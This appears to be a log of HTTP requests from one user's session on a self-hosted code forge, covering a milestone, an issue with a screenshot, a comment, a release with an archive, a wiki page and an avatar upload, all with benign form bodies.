{"method": "GET", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 36", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Version+1.1&deadline=&content="}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Bmilestone%2B%2522Version%2B1.1%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/issues/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 5018", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZATiKc8Kvm2f9kjJ", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryZATiKc8Kvm2f9kjJ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"screenshot.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
|
|
||||||
{"method": "POST", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1281", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypBVS0yCpwcYAG4g1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBuild fails on a clean checkout\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThe build stops after the first step. It works on the second try.\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n179d62f5-4ae4-4e5e-9893-269ae399ca12\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files_fullpath[179d62f5-4ae4-4e5e-9893-269ae399ca12]\"\r\n\r\nscreenshot.png\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"edit_mode\"\r\n\r\ntrue\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"search\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1--\r\n"}
|
|
||||||
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 38", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/1/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/attachments/179d62f5-4ae4-4e5e-9893-269ae399ca12", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/issues/1/comments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 163", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuLA6czyWTpPLGhxN", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryuLA6czyWTpPLGhxN\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThanks, I can see it too.\r\n------WebKitFormBoundaryuLA6czyWTpPLGhxN--\r\n"}
|
|
||||||
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 55", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1%23issuecomment-1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/releases/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygH3DxdI69SJCwZ2b", "Origin: http://example.com", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarygH3DxdI69SJCwZ2b\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tools-linux-amd64.tar.gz\"\r\nContent-Type: application/gzip\r\n\r\neJwryc/PKVZIysxLLKosGQFsAIkDYLk=\r\n------WebKitFormBoundarygH3DxdI69SJCwZ2b--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 261", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tag_name=v1.1.0&tag_target=main&title=Version+1.1.0&content=Faster+builds.&attachment-template-new-name=&attachment-template-new-exturl=&files=a637a7ba-b419-4ec3-8c33-1c119e93bc14&files_fullpath%5Ba637a7ba-b419-4ec3-8c33-1c119e93bc14%5D=tools-linux-amd64.tar.gz"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Getting+started&content=Clone+the+repository+and+run+the+build.&message="}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/?action=_pages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR5Mv0yttLbvaY13B", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryR5Mv0yttLbvaY13B\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAIAAADYYG7QAAAQJ0lEQVR4nBXXrbpFUBSG0V0URVEURVEURVEURVEURVEURXmLoiiKoiiKoiiKoiiKoiiKoriJ47iC8Vjz55u/3w/hh/hD+iH/UH6oP7Qf+g/jh/nD+mH/cH64P7wf/o/gR/gj+hH/SH6kP7If/Mh/FD/KH9WP+kfzo/3R/eh/DD/GH9OP+cfyY/2x/dh/HD/OH9eP+8fz4/3x+wkIAqKAJCALKAKqgCagCxgCpoAlYAs4Aq6AJ+ALBAKhQCQQCyQCqUAmgEAuUAiUApVALdAItAKdQC8wCIwCk8AssAisApvALnAInAKXwC3wCLzCBxIRREQRSUQWUURUEU1EFzFETBFLxBZxRFwRT8QXCURCkUgkFklEUpFMBJFcpBApRSqRWqQRaUU6kV5kEBlFJpFZZBFZRTaRXeQQOUUukVvkEXnFDyQhSIgSkoQsoUioEpqELmFImBKWhC3hSLgSnoQvEUiEEpFELJFIpBKZBBK5RCFRSlQStUQj0Up0Er3EIDFKTBKzxCKxSmwSu8QhcUpcErfEI/FKH0hGkBFlJBlZRpFRZTQZXcaQMWUsGVvGkXFlPBlfJpAJZSKZWCaRSWUyGWRymUKmlKlkaplGppXpZHqZQWaUmWRmmUVmldlkdplD5pS5ZG6ZR+aVP5CCoCAqSAqygqKgKmgKuoKhYCpYCraCo+AqeAq+QqAQKkQKsUKikCpkCijkCoVCqVAp1AqNQqvQKfQKg8KoMCnMCovCqrAp7AqHwqlwKdwKj8KrfCAVQUVUkVRkFUVFVdFUdBVDxVSxVGwVR8VV8VR8lUAlVIlUYpVEJVXJVFDJVQqVUqVSqVUalValU+lVBpVRZVKZVRaVVWVT2VUOlVPlUrlVHpVX/UAagoaoIWnIGoqGqqFp6BqGhqlhadgajoar4Wn4GoFGqBFpxBqJRqqRaaCRaxQapUalUWs0Gq1Gp9FrDBqjxqQxaywaq8amsWscGqfGpXFrPBqv9oF0BB1RR9KRdRQdVUfT0XUMHVPH0rF1HB1Xx9PxdQKdUCfSiXUSnVQn00En1yl0Sp1Kp9ZpdFqdTqfXGXRGnUln1ll0Vp1NZ9c5dE6dS+fWeXRe/QMZCAaigWQgGygGqoFmoBsYBqaBZWAbOAaugWfgGwQGoUFkEBskBqlBZoBBblAYlAaVQW3QGLQGnUFvMBiMBpPBbLAYrAabwW5wGJwGl8Ft8Bi8xgcyEUxEE8lENlFMVBPNRDcxTEwTy8Q2cUxcE8/ENwlMQpPIJDZJTFKTzAST3KQwKU0qk9qkMWlNOpPeZDAZTSaT2WQxWU02k93kMDlNLpPb5DF5zQ9kIViIFpKFbKFYqBaahW5hWJgWloVt4Vi4Fp6FbxFYhBaRRWyRWKQWmQUWuUVhUVpUFrVFY9FadBa9xWAxWkwWs8VisVpsFrvFYXFaXBa3xWPxWh/IRrARbSQb2UaxUW00G93GsDFtLBvbxrFxbTwb3yawCW0im9gmsUltMhtscpvCprSpbGqbxqa16Wx6m8FmtJlsZpvFZrXZbHabw+a0uWxum8fmtT+Qg+AgOkgOsoPioDpoDrqD4WA6WA62g+PgOngOvkPgEDpEDrFD4pA6ZA445A6FQ+lQOdQOjUPr